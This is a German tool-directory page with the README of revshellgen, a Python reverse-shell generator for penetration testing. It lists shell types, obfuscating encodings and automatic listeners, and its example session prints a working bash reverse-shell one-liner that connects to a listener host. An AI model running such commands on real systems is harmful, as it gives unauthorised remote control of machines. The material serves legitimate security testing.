Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Einreichen
ToolsExploitsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
revshellgen — Reverse-Shell-Generator geschrieben in Python 3. | Kitploit
Tools/GitHubGitHub/t0thkr1s/revshellgen
Payload-GenerierungExploitationPenetrationstestsCommand and ControlRed TeamingShellcode-GenerierungPayload-Entwicklung
GitHubt0thkr1s/revshellgen

revshellgen

Reverse-Shell-Generator geschrieben in Python 3.

Repository anzeigen
5659421vor 1 JahrVon Kitploit geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Webseite
Teilen

🚀 RevShellGen

Reverse-Shell-Generator

Python License Stars

CI Tests PyPI

Automatisierte Reverse-Shell-Erstellung mit Stil
Reverse Shells generieren, codieren und abfangen – ganz ohne Aufwand


Funktionen • Installation • Nutzung • Shell-Typen • Mitwirken

📖 Über

RevShellGen ist ein leistungsstarkes Kommandozeilen-Tool, das den Prozess der Generierung von Reverse-Shell-Befehlen vereinfacht. Kein lästiges Nachschlagen von Syntax, kein manuelles Codieren, keine Konfigurationskopfschmerzen mehr. Dieses Tool erledigt alles mit einer intuitiven Oberfläche.

🎯 Hauptfunktionen

  • 🖥️ Interaktive CLI – Benutzerfreundliche, menügesteuerte Oberfläche
  • 🔄 Automatische Codierung – Unterstützung für URL- und Base64-Codierung
  • 📋 Zwischenablage-Integration – Automatisches Kopieren generierter Befehle
  • 🌐 Netzwerkerkennung – Automatische IP-Adresserkennung
  • 🎨 Mehrere Shell-Typen – Bash, Python, Netcat, PowerShell und mehr
  • 🔊 Integrierter Listener – Automatische Einrichtung von Netcat/Ncat-Listenern
  • 🍎 Plattformübergreifend – Volle Unterstützung für Linux und macOS
  • 📚 TTY-Upgrade-Anleitung – Umfassende Anweisungen für Shell-Upgrades

🚀 Schnellstart

Option 1: Installation von PyPI

# Installation von PyPI
pip install revshellgen

# Tool ausführen
revshellgen

Option 2: Installation aus dem Quellcode

# Repository klonen
git clone https://github.com/t0thkr1s/revshellgen
cd revshellgen

# Abhängigkeiten installieren
pip3 install -r requirements.txt

# Tool ausführen
python3 revshellgen.py  # oder python3 revshellgen_cli.py

📦 Installation

Voraussetzungen

  • Python 3.6 oder höher
  • pip (Python-Paketmanager)

Abhängigkeiten

RevShellGen benötigt die folgenden Python-Pakete:

PaketZweck
pyperclipZwischenablage-Operationen
coloramaTerminalfarben
readcharInteraktive Tastatureingabe
netifacesNetzwerkschnittstellenerkennung

Installationsmethoden

Methode 1: Nutzung von requirements.txt (Einfachste)
git clone https://github.com/t0thkr1s/revshellgen
cd revshellgen
pip3 install -r requirements.txt
Methode 2: Nutzung von setup.py (Traditionell)
git clone https://github.com/t0thkr1s/revshellgen
cd revshellgen
python3 setup.py install
Methode 3: Virtuelle Umgebung (Empfohlen für Isolation)
git clone https://github.com/t0thkr1s/revshellgen
cd revshellgen
python3 -m venv venv
source venv/bin/activate  # Unter Windows: venv\Scripts\activate
pip3 install -r requirements.txt
Methode 4: Manuelle Installation
git clone https://github.com/t0thkr1s/revshellgen
cd revshellgen
pip3 install pyperclip colorama readchar netifaces
Methode 5: Benutzerinstallation (kein sudo erforderlich)
git clone https://github.com/t0thkr1s/revshellgen
cd revshellgen
pip3 install --user -r requirements.txt

Plattformspezifische Hinweise

🐧 Linux

# Möglicherweise muss python3-dev installiert werden
sudo apt-get install python3-dev  # Debian/Ubuntu
sudo yum install python3-devel     # RHEL/CentOS

🍎 macOS

# Installieren Sie ncat für bessere Listener-Unterstützung
brew install nmap  # Enthält ncat

💻 Nutzung

Grundlegender Workflow

  1. Tool starten

    python3 revshellgen.py
    
  2. Reverse Shell konfigurieren

    • IP-Adresse auswählen (automatisch erkannt)
    • Port wählen (z.B. 4444, 9001)
    • Shell-Typ auswählen (bash, python usw.)
    • Codierung wählen (keine, URL, Base64)
  3. Generierter Befehl wird automatisch in die Zwischenablage kopiert

  4. Listener starten (automatisch)

  5. Befehl auf dem Zielrechner ausführen

📸 Screenshots


Shell-Auswahl

Befehlsgenerierung

🐚 Unterstützte Shells

Shell-TypBeschreibungPlattform
BashBash TCP Reverse ShellLinux/Unix
PythonPython-basierte Reverse ShellPlattformübergreifend
NetcatTraditionelle nc Reverse ShellLinux/Unix
Netcat mkfifoNetcat mit Named PipeLinux/Unix
PerlPerl-basierte Reverse ShellPlattformübergreifend
PHPPHP Reverse ShellPlattformübergreifend
RubyRuby-basierte Reverse ShellPlattformübergreifend
JavaJava Reverse ShellPlattformübergreifend
AWKAWK Reverse ShellLinux/Unix
SocatSocat Reverse ShellLinux/Unix
Socat TTYSocat mit vollem TTYLinux/Unix
TelnetTelnet Reverse ShellLinux/Unix
PowerShellWindows PowerShellWindows

🔧 Erweiterte Funktionen

TTY-Shell-Upgrade

RevShellGen enthält jetzt umfassende TTY-Upgrade-Anleitungen. Nach dem Abfangen einer Shell bietet das Tool:

  • Schritt-für-Schritt-Methoden zum PTY-Spawn
  • Terminalgrößenerkennung und -konfiguration
  • Mehrere Upgrade-Techniken für verschiedene Umgebungen
  • Tipps zur Fehlerbehebung bei häufigen Problemen
  • Schnellreferenz-Befehle

Codierungsoptionen

  • Keine – Roher Befehlsausgabe
  • URL-Codierung – Für Webanwendungs-Exploits
  • Base64 – Zur Befehlsverschleierung

Listener-Optionen

Das Tool erkennt automatisch die passende Netcat-Variante und verwendet sie:

  • ncat (bevorzugt, aus dem nmap-Paket)
  • nc (traditionelles Netcat)
  • macOS-spezifische nc-Syntax-Unterstützung

📝 Beispielsitzung

$ python3 revshellgen.py

                         __         __   __                  
  ____ ___  _  __  ___  / /  ___   / /  / /  ___ _ ___   ___ 
 / __// -_)| |/ / (_-< / _ \/ -_) / /  / /  / _ `// -_) / _ \
/_/   \__/ |___/ /___//_//_\__/ /_/  /_/   \_, / \__/ /_//_/
                                           /___/

---------- [ IP AUSWÄHLEN ] ----------
[ x ] 192.168.1.10 auf eth0
[   ] 10.0.0.5 auf tun0
[   ] Manuell eingeben

---------- [ PORT ANGEBEN ] ----------
[ # ] Portnummer eingeben : 4444

---------- [ BEFEHL AUSWÄHLEN ] ----------
[ x ] unix_bash
[   ] unix_python
[   ] unix_nc_mkfifo
...

---------- [ REVERSE-SHELL-BEFEHL ] ----------
bash -i >& /dev/tcp/192.168.1.10/4444 0>&1

[ + ] Befehl in die Zwischenablage kopiert!
[ + ] Listener auf Port 4444 wird gestartet...

🤝 Mitwirken

Tool herunterladen